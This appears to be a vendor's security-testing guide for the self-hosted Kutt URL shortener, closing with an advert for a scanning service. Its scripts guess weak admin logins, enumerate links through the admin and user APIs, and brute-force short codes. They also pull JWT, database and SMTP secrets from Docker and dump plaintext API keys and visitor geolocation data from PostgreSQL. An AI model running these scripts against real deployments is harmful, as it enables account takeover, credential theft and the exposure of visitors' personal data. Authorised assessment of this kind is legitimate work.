Kutt Security Testing: Default Credentials, API Key, Database, and JWT Secret

Kutt is a widely deployed self-hosted URL shortener with detailed click analytics — organizations use it for branded short links, campaign tracking, and internal link management. Key assessment areas: JWT_SECRET signs all user session tokens enabling account takeover; admin accounts configured via ADMIN_EMAILS control the entire platform; the PostgreSQL database stores all shortened URLs and visitor click data including IP addresses and geolocation; user API keys stored in plaintext enable automated link management; and the admin API exposes all platform links from all users. This guide covers systematic Kutt security assessment.

Table of Contents

  1. Default Credentials and Admin API Testing
  2. API Key Link Enumeration and Analytics Access
  3. JWT Secret and Database Extraction
  4. Kutt Security Hardening

Default Credentials and Admin API Testing

# Kutt — default credentials and admin API testing
KUTT_URL="https://kutt.example.com"

# Kutt does not have hardcoded defaults but ADMIN_EMAILS env sets admin accounts
# Test common weak credentials
for CRED in "admin@kutt.it:admin" "admin@example.com:password" \
            "admin@example.com:admin123" "kutt@example.com:kutt"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  AUTH=$(curl -s -X POST "${KUTT_URL}/api/v2/auth/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null)
  echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'token' in d:
    print(f'OK token={d[\"token\"][:30]}... admin={d.get(\"isAdmin\")} email={d.get(\"email\")}')
elif 'apikey' in d:
    print(f'OK apikey={d[\"apikey\"][:30]}...')
else:
    print(f'FAIL: {str(d)[:80]}')
" 2>/dev/null
done

# Admin API — list all links from all users (admin only)
ADMIN_TOKEN="your-admin-jwt-token"
curl -s "${KUTT_URL}/api/v2/links?all=true&limit=100&skip=0" \
  -H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[]) if isinstance(d,dict) else d
total = d.get('total',len(data)) if isinstance(d,dict) else len(data)
print(f'All platform links: {total}')
for link in data[:10]:
    print(f'  /{link.get(\"address\")} -> {str(link.get(\"target\",\"\"))[:80]}')
    print(f'    visits={link.get(\"visit_count\")} user={link.get(\"user\",{}).get(\"email\",\"\")}')
" 2>/dev/null

API Key Link Enumeration and Analytics Access

# Kutt API key — link enumeration and analytics access
KUTT_URL="https://kutt.example.com"
API_KEY="your-kutt-api-key"

# Get all links for the authenticated user
curl -s "${KUTT_URL}/api/v2/links?limit=100&skip=0" \
  -H "X-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[]) if isinstance(d,dict) else d
total = d.get('total',len(data)) if isinstance(d,dict) else len(data)
print(f'User links: {total}')
for link in data[:10]:
    print(f'  /{link.get(\"address\")} -> {str(link.get(\"target\",\"\"))[:80]}')
    print(f'    visits={link.get(\"visit_count\")} created={str(link.get(\"created_at\",\"\"))[:10]}')
    print(f'    password_protected={bool(link.get(\"password\"))} expire={str(link.get(\"expire_in\",\"\"))[:10]}')
" 2>/dev/null

# Get click statistics for a specific link
LINK_ADDRESS="abc123"
curl -s "${KUTT_URL}/api/v2/links/${LINK_ADDRESS}/stats" \
  -H "X-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Link stats:')
print(f'  Total visits: {d.get(\"total\")}')
for period in [\"lastDay\",\"lastWeek\",\"lastMonth\",\"allTime\"]:
    period_data = d.get(period,{})
    print(f'  {period}: {period_data.get(\"total\",0)} visits')
    # Countries, referrers, browsers, OS breakdown
    countries = period_data.get('countries',[])
    for c in countries[:5]:
        print(f'    Country: {c.get(\"name\")} visits={c.get(\"value\")}')
" 2>/dev/null

# Enumerate short codes by brute force (no API key needed)
# Kutt uses 6-character alphanumeric codes by default
for CODE in abc123 def456 ghi789; do
  RESULT=$(curl -s -o /dev/null -w "%{http_code} %{redirect_url}" \
    "${KUTT_URL}/${CODE}" 2>/dev/null)
  HTTP=$(echo $RESULT | awk '{print $1}')
  TARGET=$(echo $RESULT | awk '{print $2}')
  [ "$HTTP" != "404" ] && echo "FOUND: /${CODE} -> ${TARGET}"
done

JWT Secret and Database Extraction

# Kutt JWT_SECRET and database credential extraction

# Docker environment variables
docker inspect kutt 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['JWT','SECRET','DB_','REDIS','MAIL','ADMIN','PASSWORD']):
            print(e)
" 2>/dev/null
# JWT_SECRET — signs all user session tokens
# DB_HOST, DB_NAME, DB_USER, DB_PASSWORD
# REDIS_URL — session cache
# MAIL_HOST, MAIL_USER, MAIL_PASSWORD — SMTP credentials
# ADMIN_EMAILS — comma-separated list of admin email addresses
# DISALLOW_REGISTRATION — controls open registration

# PostgreSQL — all Kutt data
DB_URL="postgresql://kutt:PASSWORD@localhost/kutt"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All users with API keys
SELECT u.id, u.email,
       u.apikey,          -- PLAINTEXT API key
       u.admin,
       u.created_at, u.updated_at,
       u.banned
FROM users u
ORDER BY u.admin DESC, u.created_at ASC
LIMIT 20;
EOF
-- apikey: plaintext — direct API access for any user

-- All shortened links with targets
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT l.id, l.address,
       l.target,         -- The actual destination URL
       l.password,       -- If password-protected (hashed)
       l.visit_count,
       l.created_at,
       u.email as owner
FROM links l
LEFT JOIN users u ON l.user_id = u.id
ORDER BY l.created_at DESC
LIMIT 30;
EOF
-- target: the full destination URL for each short link

-- Click analytics with visitor data
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT v.id, v.link_id,
       v.referrer, v.country,
       v.city, v.browser, v.os,
       v.created_at
FROM visits v
ORDER BY v.created_at DESC
LIMIT 20;
EOF
-- country/city: geolocation from IP addresses
-- referrer: full referring URL for each click

Kutt Security Hardening

Kutt Security Hardening Checklist:
Security TestMethodRisk
JWT_SECRET extraction and admin session token forgeryRead .env JWT_SECRET — forge JWT tokens for admin email addresses configured in ADMIN_EMAILS; full admin API access to all platform links from all users; user API key enumerationCritical
PostgreSQL users.apikey plaintext extractionSELECT apikey FROM users — plaintext API keys for all users; persistent access to each user's links, analytics, and link management operations without passwordHigh
Admin API all-platform link target enumerationGET /api/v2/links?all=true — all shortened URLs from all users with destination targets; complete platform link intelligence including private campaign URLs and internal tool linksHigh
PostgreSQL links.target destination URL extractionSELECT target FROM links — all redirect destinations in plaintext; reveals every shortened URL's destination regardless of user ownership or password protection (password protects the browser redirect, not the database value)High
Short code brute-force without authenticationGET /{short_code} — redirect response reveals valid codes and destination URLs; 6-character alphanumeric codes are enumerable; reveals all shortened URLs without API accessMedium

Automate Kutt Security Testing

Ironimo tests Kutt deployments for JWT_SECRET extraction and admin session token forgery, PostgreSQL users.apikey plaintext extraction, admin API all-platform link target enumeration, links table destination URL disclosure, short code brute-force enumeration without authentication, Docker JWT_SECRET/DB_PASSWORD/ADMIN_EMAILS exposure, REDIS_URL session cache credential extraction, MAIL_PASSWORD SMTP credential disclosure, open registration endpoint testing, and password-protected link database bypass (target URL readable without password).

Start free scan